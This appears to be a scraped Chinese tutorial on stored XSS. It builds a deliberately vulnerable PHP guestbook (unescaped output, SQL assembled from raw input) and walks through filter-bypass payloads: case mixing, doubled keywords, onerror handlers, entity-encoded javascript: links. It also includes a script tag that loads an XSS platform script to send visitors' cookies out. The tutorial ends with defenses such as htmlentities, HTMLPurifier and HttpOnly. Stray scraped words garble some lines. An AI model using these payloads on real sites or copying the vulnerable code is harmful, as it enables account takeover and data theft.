PHP和Thinkphp模拟留言板,应对XSS攻击(超完整!)

XSS攻击原理及防御

简介javascript

XSS(Cross Site Scripting, 跨站脚本攻击), 在 Web攻击中比较常见的方式, 经过此攻击能够控制用户终端作一系列的恶意操做, 如 能够盗取, 篡改, 添加用户的数据或诱导到钓鱼网站等。php

攻击原理css

比较常见的方式是利用未作好过滤的参数传入一些脚本语言代码块一般是 JavaScript, PHP, Java, ASP, Flash, ActiveX等等, 直接传入到页面或直接存入数据库。经过用户浏览器阅读此数据时能够修改当前页面的一些信息或窃取会话和 Cookie等, 这样完成一次 XSS攻击。html

例子前端

http://test.com/list?id=<script>alert('Javascript代码块')</script>

http://test.com/list?id=<strong οnclick='alert("惊喜不断")'>诱惑点击语句</strong>

http://test.com/list?id=<img src='./logo.jpg' οnclick='location.href="https://cyy.com/qq000";'/>

以上例子只是大概描述了方式, 在实际攻击时代码不会如此简单java

 

一次存储型XSS的攻防实战

使用xss平台,我用这段代码来测试mysql

<script>alert(1)</script>

 

写入一段平台生成的xss脚本:jquery

<sCrIpt srC=//xs.sb/Zalc></sCRipT>

当某人进入带有这个脚本的页面时,js脚本会获取他的cookie并发往xss平台。git

你只须要登陆xss平台等待便可,拿到cookie后,能够不须要密码登陆他的帐号。github

 

对于存储型xss漏洞的表现形式,比较经典的是留言板。咱们本身模拟一个留言板进行测试。

首先是前端展现的页面board.php

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>留言板</title>
    <script src="https://cdn.staticfile.org/jquery/3.5.1/jquery.js"></script>
    <script type="text/javascript">
        $(function(){
            $("#sub").on("click", function(){
    
                var formData = new FormData();
                var nickname=$("input[name=nickname]").val();
                var content=$("textarea[name=content]").val();
                var email=$("input[name=email]").val();
                formData.append("nickname",nickname);
                formData.append("content",content);
                formData.append("email",email);
                if(nickname=="" || content=="" || email=="")
                    alert("不能为空!");
                else{
                    $.ajax({
                        //async:false,//false为同步请求,当前请求未完成可能会锁死浏览器
                        url:"add.php",
                        type:"POST",
                        processData:false,
                        contentType:false,
                        data:formData,
                        dataType:"text",
                        success:function(data){
                            console.log(data);
                            alert("success");
                            location.reload(true);//刷新页面
                        }
                    });
                }
            });
        });
    </script>
    <style type="text/css">
        .d{
            margin-top: 2%;
            margin-left: 5%;
            margin-right: 5%;
            background-color: rgb(218,244,205);
        }
        a{
            text-decoration: none;
        }
    </style>
</head>
<body>
    <?php 
        $con = @mysqli_connect('localhost','root','123456','test') or die('链接数据库失败');
        mysqli_query('set names utf8');
        $sql = "select * from message order by `floor` ASC";
        $res = mysqli_query($con,$sql);
        while($row = mysqli_fetch_array($res)){
            echo '<div class="d" style="margin-top:1%"><div style="background-color: rgb(55,162,113);"></div></div>';
            echo '<div class="d" style="margin-top:1%"><div style="background-color: rgb(55,162,113);"><p style="text-align: right;">'.$row[0].'楼</p></div><p>'.$row['content'].'</p><a href="">'.'<pre style="text-align: right;">留言者:'.$row['nickname'].'</a><a href="">'.'    留言时间:'.date('Y-m-d H:i:s',$row['time']).'</a></pre></div>';
        }
        mysqli_close($con);
    ?>


    <div class="d">
        <form>
            <input type="text" name="nickname" placeholder="留言者昵称"><br />
            <input type="text" name="email" placeholder="留言者邮箱"><br />
            <textarea name="content" rows="5" cols="50" placeholder="留言内容"></textarea><br />
            <input type="button" name="button" id="sub" value="提交">
        </form>
    </div>
</body>
</html>

 

后端存储数据的页面add.php

<?php

//接收数据
$nickname = @$_POST['nickname'];
$email = @$_POST['email'];
$content = @$_POST['content'];
$time = @time();

$con = @mysqli_connect('localhost','root','123456','test') or die('链接数据库失败');
mysqli_query('set names utf8');
$sql = "select max(floor) as max from message";
$res = mysqli_query($con,$sql);
$floor = mysqli_fetch_array($res)['max']+1;
$sql = "insert into message(floor,nickname,email,content,time) values($floor,'$nickname','$email','$content','$time')";
mysqli_query($con,$sql);
mysqli_close($con);

 

能够看到,咱们对传入的四个参数彻底没有处理,而是直接存入数据库中。

因此,只要咱们这样输入:

 

 

提交以后,系统会自动刷新页面出现弹框:1

点击肯定后,你会发现留言内容和留言者的部分都为空。

 

 

这是由于js脚本已经被解析了,这时咱们按F12,打开浏览器的开发者工具,发现了js脚本。

 

那么开发者该如何防护呢?

对关键字script进行过滤

做为开发者,你很容易发现,要想进行xss攻击,必须插入一段js脚本,而js脚本的特征是很明显的,脚本中包含script关键字,那么咱们只须要进行script过滤便可。

$nickname = str_replace("script", "", @$_POST['nickname']);//昵称

上面这个str_replace()函数的意思是把script替换为空。

能够看到,script被替换为空,弹框失败。

那么黑客该如何继续进行攻击呢?

答案是:大小写绕过

<sCrIPt>alert(1)</ScripT>

由于js是不区分大小写的,因此咱们的大小写不影响脚本的执行。

成功弹框!

 

使用str_ireplace()函数进行不区分大小写地过滤script关键字

做为一名优秀的开发,发现了问题固然要及时改正,不区分大小写不就好了嘛。

后端代码修正以下:

$nickname = str_ireplace("script", "", @$_POST['nickname']);//昵称

那么,黑客该如何绕过?

答案是:双写script

<Sscriptcript>alert(1)</Sscriptcript>

原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一块儿,构成了新的Script关键字。

 

使用preg_replace()函数进行正则表达式过滤script关键字

$nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称

攻击者如何再一次绕过?

答案是:用img标签的oneerror属性

<img src=x onerror=alert(1)>

 

过滤alert关键字

看到这里,不知道你烦了没有,以开发的角度来说,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!

那么,攻击者该怎么办呢?

答案是:编码绕过

<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;

&#49;&#41;>a</a>

当点击页面上的超连接时,会弹框。

这种编码方式为字符编码

字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“&#数值;”, 例如“j”能够编码为“&#106;”或“&#x6a; ”

上述代码解码以后以下:

<a href=javascript:alert(1)>a</a>

能不能让全部进入这个页面的人都弹框?

固然能够了:用iframe标签编码

<iframe src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;

&#41;>

这种写法,一样既没有script关键字,又没有alert关键字。

 

过滤特殊字符

php给咱们提供了htmlentities()函数:

$nickname = htmlentities(@$_POST['nickname']);//昵称

htmlentities()函数的做用是把字符转换为 HTML 实体。

黑客在当前场景下已经没法攻击了(在某些其余场景,即便使用了htmlentities()函数,仍然是能够攻击的,这就不在本文讨论范围以内了)

 

总结

站在开发者角度来说,用一个htmlentities()函数基本能够作到防护

 

ThinkPHP防止XSS攻击的方法

PHP 基于ThinkPHP,利用第三方插件htmlpurifier 防XSS跨站脚本攻击。能够只过滤指定标签(过滤富文本编辑器中指定标签)

去github上找到ezyang/htmlpurifier,推荐使用composer安装

$ composer require ezyang/htmlpurifier

但是我在安装的时候,一直报错

 

 

 

还没找到解决方案,就先用标准安装方式了,下载好文件压缩包

解压获得主要文件目录library,重命名为htmlpurifier,复制到thinkphp项目的Vendor目录中

 

 

 

 

 

 

在application/common.php公共函数目录中,添加以下代码:

//防止xss攻击的特殊方法
function fanXSS($string) {
    require_once '../vendor/htmlpurifier/HTMLPurifier.auto.php'; //根据实际目录路径进行修改
    // 生成配置对象
    $cfg = HTMLPurifier_Config::createDefault();
    // 如下就是配置:
    $cfg->set('Core.Encoding', 'UTF-8');
    // 设置容许使用的HTML标签
    $cfg->set('HTML.Allowed', 'div,b,strong,i,em,a[href|title],ul,ol,li,br,span[style],img[width|height|alt|src]');
    // 设置容许出现的CSS样式属性
    $cfg->set('CSS.AllowedProperties', 'font,font-size,font-weight,font-style,font-family,text-decoration,padding-left,color,background-color,text-align');
    // 设置a标签上是否容许使用target="_blank"
    $cfg->set('HTML.TargetBlank', TRUE);
    // 使用配置生成过滤用的对象
    $obj = new HTMLPurifier($cfg);
    // 过滤字符串
    return $obj->purify($string);
}

 

HTMLPurifier的配置属性能够经过其网站查询到:http://htmlpurifier.org/live/configdoc/plain.html

一、配置属性选择

HTMLPurifier的配置文档主要是两级分类,大类分Attr(属性)、HTML(html标签)、AutoFormat(自动格式)、CSS(css配置)、Output(输出配置)……小类选择经过大类名称加.加小类名称能够完成。

好比我要配置容许的html标签,好比说p标签和a标签,能够以下配置

$cfg->set('HTML.Allowed', 'p,a');

二、属性值的选择

在官方文档中,点击一个属性后,能够看到对这个属性的解释,会告诉你这个属性的值的类型(Type)是String、Int、Array、Boolen……

接着还会告诉你这个属性的默认值,好比是NULL仍是true仍是false等。这个值的格式就跟PHP的格式同样的。

三、白名单过滤机制

HTMLPurifier使用了白名单过滤机制,只有被设置容许的才会经过检验。

四、基本过滤事例

a、过滤掉文本中的全部html标签

$cfg->set('HTML.Allowed', '');

b、保留超连接标签a及其href连接地址属性,并自动添加target属性值为’_blank’

$cfg->set('HTML.Allowed', 'a[href]');
$cfg->set('HTML.TargetBlank', true);

c、自动完成段落代码并清除掉无用的空标签

// 让文本自动添加段落标签,前提是必须容许P标签的使用
$cfg->set('HTML.Allowed', 'p');
$cfg->set('AutoFormat.AutoParagraph', true);
// 清除空标签
$cfg->set('AutoFormat.RemoveEmpty', true);

 

而后在 application目录下的config.php 配置文件

把这个过滤方法改为那个方法名便可

'default_filter'         => 'fanXSS',

结合框架的使用 和插件的使用可使用这个 上面的代码能够能够直接使用的

 

也能够只针对部分字段进行过滤

设置全局过滤方法为封装的htmlspecialchars函数:

修改application/config.php

'default_filter' => 'htmlspecialchars',

富文本编辑器内容,使用过滤的思想进行处理。

好比商品描述字段,处理以下:

//商品添加或修改功能中
$params = input();
//单独处理商品描述字段 goods_introduce
$params['goods_desc'] = input('goods_desc', '', 'fanXSS');

 

PHP的防护XSS注入的解决方案总结

一:PHP直接输出html的,能够采用如下的方法进行过滤:

1.htmlspecialchars函数

2.htmlentities函数

3.HTMLPurifier.auto.php插件

4.RemoveXss函数(百度能够查到)

二:PHP输出到JS代码中,或者开发Json API的,则须要前端在JS中进行过滤:

1.尽可能使用innerText(IE)和textContent(Firefox),也就是jQuery的text()来输出文本内容

2.必需要用innerHTML等等函数,则须要作相似php的htmlspecialchars的过滤

三:其它的通用的补充性防护手段

1.在输出html时,加上Content Security Policy的Http Header

(做用:能够防止页面被XSS攻击时,嵌入第三方的脚本文件等)

(缺陷:IE或低版本的浏览器可能不支持)

2.在设置Cookie时,加上HttpOnly参数

(做用:能够防止页面被XSS攻击时,Cookie信息被盗取,可兼容至IE6)

(缺陷:网站自己的JS代码也没法操做Cookie,并且做用有限,只能保证Cookie的安全)

3.在开发API时,检验请求的Referer参数

(做用:能够在必定程度上防止CSRF攻击)

(缺陷:IE或低版本的浏览器中,Referer参数能够被伪造)

 

欢迎QQ交流谈论:965794175

相关文章
相关标签/搜索